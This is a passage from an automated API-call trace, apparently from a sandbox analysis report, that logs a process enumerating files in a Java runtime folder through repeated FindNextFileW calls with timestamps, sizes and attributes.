cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0094.091] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0094.091] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0094.091] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0094.091] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0094.091] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0094.092] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0094.092] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-64.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0094.092] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.cpl", cAlternateFileName="")) returned 1 [0094.092] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0094.092] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0094.092] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x83640, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_font_t2k.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0094.093] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx_iio.dll", cAlternateFileName="JAVAFX~3.DLL")) returned 1 [0094.093] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0094.093] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0094.093] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0094.093] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0094.093] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-64.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0094.094] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x31440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0094.094] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0094.094] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x22240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0094.094] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7511d3f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7511d3f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2794a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0094.095] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jjs.exe", cAlternateFileName="")) returned 1 [0094.095] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa75aa64d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2aa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0094.095] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75aa64d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa75aa64d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa897bfc2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x48440, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0094.095] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa897bfc2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa897bfc2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1b640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0094.095] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0094.095] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89a2223, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0094.095] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0094.095] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0094.095] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0094.096] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0094.096] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0094.096] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0094.096] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0094.096] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0094.096] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0094.096] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1 [0094.096] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0094.096] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0094.097] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0094.097] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0094.097] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0094.097] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0094.097] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0094.097] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0094.097] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0094.097] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0094.097] FindNextFileW (in: hFindFile=0x4260290, 